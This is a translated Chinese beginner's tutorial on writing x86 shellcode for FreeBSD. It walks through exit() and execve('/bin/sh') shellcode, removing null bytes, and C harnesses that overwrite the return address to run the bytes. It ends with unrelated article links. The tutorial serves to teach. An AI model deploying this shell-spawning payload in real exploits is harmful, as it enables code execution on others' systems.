FreeBSD上编写x86 Shellcode初学者指南

来源 https://www.4hou.com/binary/14375.html

介绍

本教程的目的是帮助你熟悉如何在FreeBSD操作系统上编写shellcode。虽然我会尽力在这里叙述所有有关的内容,但并不打算把本文写成汇编代码编程的入门读物。在反汇编中,你会注意到汇编代码采用AT&T语法,而我更喜欢使用Intel语法(无论是哪一种,nasm的工作原理是一样的)。如果你担心这些差异会带来困扰,请使用谷歌搜索并了解这些差异。请注意我只是一个编写shellcod的初学者,本文并不意味着是编写shellcode的全部内容;相反,本文对于全新的shellcoders来说是一个简单的介绍。换句话说,如果你以及编写过shellcode,本文的内容可能不会让你感兴趣。

其中的代码改编自The Shellcoders Handbook中的linux代码示例。

我引用的资源:

· Unix系统编程http://vip.cs.utsa.edu/usp/

· Shellcod编写参考手册http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html

· G. Adam Stanislav的FreeBSD汇编语言程序设计http://www.int80h.org/bsdasm/

所需工具:

· objdump

· NASM(Netwide Assembler)

· GCC

· GDB

在正式开始之前,让我们节省一些时间来获取/usr/src/sys/kern/syscalls.master的副本,这是系统调用及其相关编号的列表。将副本保存在编码目录中可以节省后续的时间,你需要在以root身份登录时打开文件并进行更改,否则可能会发生错误。让我们谨慎一点,复制一份副本。

既然我们已经完成了这一步,接下来我们继续深入,随着内容的深入,我会逐步解释更多的事情。我们要做的第一个shellcode是非常简单的,它用于exit()函数调用。我们首先在C代码中创建exit(),然后我们分析反汇编,以便我们可以将其重写为asm。先编译这个文件:

gcc -o myexit myexit.c
/* As easy as it gets */  
#include
main()
{
exit(0); // exit with "0" for successful exit
}

现在我们已经编译了代码,我们希望使用gdb来查看函数内部。之后我们能够看到计算机自动生成了我们的代码对应的汇编代码。只需按照说明的步骤操作,就能得到下面的结果:

bash$ gdb myexit
(gdb) disas main
Dump of assembler code for function main:
0x80481d8
: push %ebp
0x80481d9 : mov %esp,%ebp
0x80481db : sub $0x8,%esp
0x80481de : add $0xfffffff4,%esp
0x80481e1 : push $0x0
0x80481e3 : call 0x80498dc 
0x80481e8 : add $0x10,%esp
0x80481eb : nop
0x80481ec : leave
0x80481ed : ret
End of assembler dump.

让我们一行一行的来分析一下。不要担心任何事情,也不要担心内存地址,因为我的地址很可能和你的不一样。现在继续看看汇编代码,这是本文内容的第一个重要部分。传递给exit()函数的参数只有一个。接下来是退出了实际的调用。这是我们需要搞清楚的两件主要的事情。在我们进入代码之前,让我们检查syscalls.master来获取sysexit()的值,grep这个文件后,我们找到了这行:1 STD NOHIDE {void sys exit(int rval);exit sysexitargs void 。重要的信息是1,它是系统调用号的值和rval(返回值)参数。这表明sys_exit()接受一个参数,我们应该知道返回值是’0’代表这是一个成功的退出。

好的,将它放入汇编代码中。

section .text
global _start
_start:
xor eax, eax
push eax
push eax
mov eax, 1
int 80h

通过上面的代码,在我们进一步深入解释为什么代码会以这种方式有序的完成调用执行前,我会做个简短的说明。在FreeBSD(或NetBSD,OpenBSD)中,系统调用的参数是以相反的顺序被压入堆栈的,实际的系统调用号放入eax寄存器然后中断80 会调用内核来执行我们的代码。

现在继续, 'xor eax,eax’代码,如果eax有任何值的话,就会将eax清零。然后我们'push eax’两次。(我不知道是什么技术原因导致的,但如果零被push堆栈一次,退出调用将返回1,我们不希望这样的返回值,只需将零push两次就行。)现在我们加载eax 调用exit的系统调用值为1.最后我们要做的是用'int 80h’来实际调用内核。

不错!现在我们已经编写了了一些东西了,我们可以从中获得shellcode!我们需要组装然后链接这个文件。

bash$ nasm -f elf myexit.asm
bash$ ld -s -o myexit myexit.o

现在它已经组装和链接好了,让我们使用objdump来获取shellcode。

bash$ objdump -d myexit
shortexit: file format elf32-i386
/usr/libexec/elf/objdump: shortexit: no symbols
Disassembly of section .text:
08048080 <.text>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b8 01 00 00 00 mov $0x1,%eax
8048089: cd 80 int $0x80

这段代码对某些人来说可能已经很好了,但它对我们来说很糟糕。看看代码中的那些NULL(00),我们不能直接使用这段代码,因为当我们尝试在我们之前编写的C程序中执行代码时就会发生中断。在C语言和其他编程语言中,NULL会终止一个字符串。这意味着如果我们尝试将其加载到C语言数组中,程序就会崩溃。所以我们不能那样做。也许有其他的方法可以处理这段asm代码,我想出的办法如下:

Section .text
global _start
_start:
xor eax, eax
push eax
push eax
inc eax
int 80h

这里唯一不同的是'inc eax’,让eax 增加1(记住eax是从零开始的,我们需要返回1(退出系统调用的返回值)),所以在这种情况下它与’mov eax,1'是等价的。

再次,如上一个示例所示组装并链接它,然后使用objdump。

bash$ objdump -d myexit
/usr/libexec/elf/objdump: exit_shellcode: no symbols
Disassembly of section .text:
08048080 <.text>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: 40 inc %eax
8048085: cd 80 int $0x80

现在看一下!没有NULL了,这段代码就是很好的shellcode,我们保存一下!那么现在我们有了正确的,没有NULL值的shellcode,现在是时候将它加载到C程序中来执行了。

#include 
#include 
/*working shellcode */
char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

就是这样,这段代码看起来真的很漂亮哦!现在进行编译:

bash$ gcc -o shellcode shellcode.c
bash$ ./shellcode ; echo $?
0

由于程序退出时我们确实看不到内部的细节,所以我们使用 ‘echo $?'来输出结果。'$?' 是一个bash内置的变量,它保存程序的最后一个退出代码。由于我们在代码中给出了退出的返回值就是’0’,因此,我们的代码起作用了!干得不错,你的耐心和工作终于得到了回报。不过这只是一个开始,你可能不会使用这个代码。

好吧,你可能已经猜到了,退出的shellcode不是很有趣或有用,但它是一个很好的例子,能够很容易的体现编写shellcode的关键点。现在是时候开始介绍一个更常用到的函数的shellcode了,这个函数就是利用execve()来生成一个shell。但是我们还能用execve()做些什么呢?在我们继续开始编写之前,我们应该再次查询一下syscalls.master,以便我们可以确切知道execve()期望传入的参数。因为execve不在文件的最开头,所以我是这样找到函数定义原型的。

bash$ grep -i 'execve' syscalls.master
59 STD POSIX { int execve(char *fname, char **argv, char **envv); }
#include 
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
}

现在编译,如下面所示,然后启动gdb:

bash$ gdb shell
(gdb) disas main
Dump of assembler code for function main:
0x80484a0
: push %ebp
0x80484a1 : mov %esp,%ebp
0x80484a3 : sub $0x18,%esp
0x80484a6 : movl $0x8048503,0xfffffff8(%ebp)
0x80484ad : movl $0x0,0xfffffffc(%ebp)
0x80484b4 : add $0xfffffffc,%esp
0x80484b7 : push $0x0
0x80484b9 : lea 0xfffffff8(%ebp),%eax
0x80484bc : push %eax
0x80484bd : mov 0xfffffff8(%ebp),%eax
0x80484c0 : push %eax
0x80484c1 : call 0x8048350 
0x80484c6 : add $0x10,%esp
0x80484c9 : leave
0x80484ca : ret
0x80484cb : nop
End of assembler dump.

哇,代码有点多!

由于这个代码更长一些,所以我将跳过代码本身,因为当你看到代码然后再解释应该会更清楚。这也是我将代码解释放在代码的注释中的原因。

;不用担心为什么这里会出现这些代码,因为这些是必需的,只能放在这里
section .text
global _start
_start:
;这行代码是为了可以在堆上获取到 db ‘/bin/sh' 的地址
jmp short _callshell
_shellcode:
;这行代码可以将 db ‘/bin/sh' 的地址弹到esi寄存器中
pop esi
;确认eax寄存器中没有值
xor eax, eax
;现在eax的值是NULL,我们可以将一根字节放在'/bin/sh'字符串来作为终止字符
mov byte [esi + 7], al
;在FreeBSD汇编中,我们将所有的参数以相反的顺序放在堆上。将空值的 eax 寄存器push两次因为我们不能使用带参数的execve()。但是这是execve()所需要的
push eax
push eax
;execve()需要的最后一个参数(注意这实际上是第一个参数,因为这里的传入顺序是相反的)
push esi
;这里是实际调用execve()的系统调用值,我们将它移动到al中。如果我们将这个值传入eax寄存器,那么我们的shellcode会返回一个NULL值,这个做法不是很好。
mov al, 0x3b
;不要问我这里为什么是这样的。因为shellcode需要。
push eax 
;内核调用和执行之前我们所做的准备工作。注意这里是一个80h中断
int 0x80
_callshell:
;这行代码返回到了我们的代码的main函数入口。
call _shellcode
;我们实际上想要执行的命令字符串将会传入execve()函数
db '/bin/sh'

现在我们组装该文件:

bash$ nasm -f elf mynewshell.asm
bash$ ld -o mynewshell mynewshell.o

然后我们启动objdump:

bash$ objdump -d mynewshell
mynewshell: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 0e jmp 8048090 <_callshell>
08048082 <_shellcode>:
8048082: 5e pop %esi
8048083: 31 c0 xor %eax,%eax
8048085: 88 46 07 mov %al,0x7(%esi)
8048088: 50 push %eax
8048089: 50 push %eax
804808a: 56 push %esi
804808b: b0 3b mov $0x3b,%al
804808d: 50 push %eax
804808e: cd 80 int $0x80
08048090 <_callshell>:
8048090: e8 ed ff ff ff call 8048082 <_shellcode>
8048095: 2f das
8048096: 62 69 6e bound %ebp,0x6e(%ecx)
8048099: 2f das
804809a: 73 68 jae 8048104 <_callshell+0x74>

看看所有那些很“美丽”的shellcode。现在是时候将它格式化为一个有用的格式并放入C程序代码,以便我们可以执行shellcode。

#include 
#include 
/*working shellcode */
char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b"
"\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

编译并执行:

bash$ gcc -o shell shell.c
bash$ ./shell
$

shellcode有效!我们制作了一个生成shell的shellcode。这需要一段时间才能实现,虽然这肯定不是你可以用shellcode的做很多事情的结束,至少它让你有信心阅读其他更全面的教程,并开始编写自己的shellcode。

本文翻译自:https://cryogenix.net/shellcoding_on_freebsd.html

================ End

FreeBSD上编写x86 Shellcode初学者指南的更多相关文章

  1. 【系列】Java多线程初学者指南(1):线程简介

    原文地址:http://www.blogjava.net/nokiaguy/archive/2009/nokiaguy/archive/2009/03/archive/2009/03/19/26075 ...

  2. 龙芯GO!龙芯平台上构建Go语言环境指南

    龙芯软件生态系列——龙芯GO!龙芯平台上构建Go语言环境指南2016-07-05 龙芯中科1初识Go语言Go语言是Google公司于2009年正式推出的一款开源的编程语言,是由Robert Gries ...

  3. 《Python编程初学者指南》高清PDF版|百度网盘免费下载|Python基础

    <Python编程初学者指南>|百度网盘免费下载| 提取码:03b1 内容简介 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.Python可以用于很多的领域,从科学计 ...

  4. Python编程初学者指南PDF高清电子书免费下载|百度云盘

    百度云盘:Python编程初学者指南PDF高清电子书免费下载 提取码:bftd 内容简介 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.Python可以用于很多的领域,从科学计算 ...

  5. 三、后门的编写和 ShellCode 的提取

    第三章.后门的编写和 ShellCode 的提取 (一)IP 和 Socket 编程初步 NOTES: 1.Windows 下网络通信编程的几种方式 第一种是基于 NetBIOS 的网络编程,这种方法 ...

  6. 【翻译】nginx初学者指南

    nginx初学者指南 本文翻译自nginx官方网站:http://nginx.org/en/docs/beginners_guide.html#control 该指南会对nginx做一个简要的介绍,同 ...

  7. 《SQL初学者指南》——第1章 关系型数据库和SQL

    第1章 关系型数据库和SQL SQL初学者指南在本章中,我们将介绍一些背景知识,以便于你能够很快地上手,能在后续的章节中编写SQL语句.本章有两个主题.首先是对本书所涉及到的数据库做一个概述,并且介绍 ...

  8. Python编程初学者指南|百度网盘免费下载|Python新手入门资料

    Python编程初学者指南|百度网盘免费下载 提取码:9ozx 目录  · · · · · · 第1章 启程:Game Over程序1.1 剖析Game Over程序1.2 Python简介1.2.1 ...

  9. NumPy 初学者指南中文第三版·翻译完成

    原文:NumPy: Beginner's Guide - Third Edition 协议:CC BY-NC-SA 4.0 欢迎任何人参与和完善:一个人可以走的很快,但是一群人却可以走的更远. 在线阅 ...

随机推荐

  1. HttpClient : java.net.SocketException: Connection reset

    1. 问题排查 httpclient : 4.5.5 排查过程 : 一次SocketException:Connection reset 异常排查 主要原因 : 调用 http 请求时发生了 Sock ...

  2. 学习 vue 需要了解的内容

    总结 vue 的目录 1. vue 基础 指令 事件 动态的属性 组件 动画 2. vue 组件通信 1. 父传子 props 2. 子传父 ref 3. 插槽 4. 组件的生命周期 3. vue 的 ...

  3. Python轻量级开发工具Genay使用

    Genay是一个轻量级的免费,开放源代码的开发工具,支持很多的文件类型,并且支持很多的插件,启动快速.安装包只有十几兆,相关的插件也不大,相比pycharm专业版需要收费,并且社区版的安装包大小有两百 ...

  4. Request.Params用法,后台接收httpget参数

    使用Request.Params["id"]来获取参数是一种比较有效的途径. request.params其实是一个集合,它依次包括request.querystring.requ ...

  5. LC 807. Max Increase to Keep City Skyline

    In a 2 dimensional array grid, each value grid[i][j] represents the height of a building located the ...

  6. 阶段3 3.SpringMVC·_05.文件上传_1 文件上传之上传原理分析和搭建环境

    分成几个部分 里面可能就包含文件上传的值 提交方式要改成post 第三个就是提供一个input file的文件选择域 新建项目 新建一个项目 当前项目没有父工程 跳过联网下载 改成02 构建 编译和目 ...

  7. vue中html、js、vue文件之间的简单引用与关系

    有关vue文件记录:index.html在html中运用组件 <body> <app></app> <!-- 此处app的组件为入口js main.js中定义 ...

  8. sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

    httpclient-4.5.jar 定时发送http包,忽然有一天报错,http证书变更引起的. 之前的代码 try { CloseableHttpClient httpClient = build ...

  9. ArcEngine二次开发之提取外包矩

    1.通过ITopologicalOperator接口,此方法适用于需要获得包含几个或多个要素的最小外包矩形 public IEnvelope GetEnvelope(IGeometryCollecti ...

  10. 【Linux开发】linux中关于dma_alloc_coherent的用法

    大家都知道,DMA的操作是需要物理地址的,但是在linux内核中使用的都是虚拟地址,如果我们想要用DMA对一段内存进行操作,我们如何得到这一段内存的物理地址和虚拟地址的映射呢?dma_alloc_co ...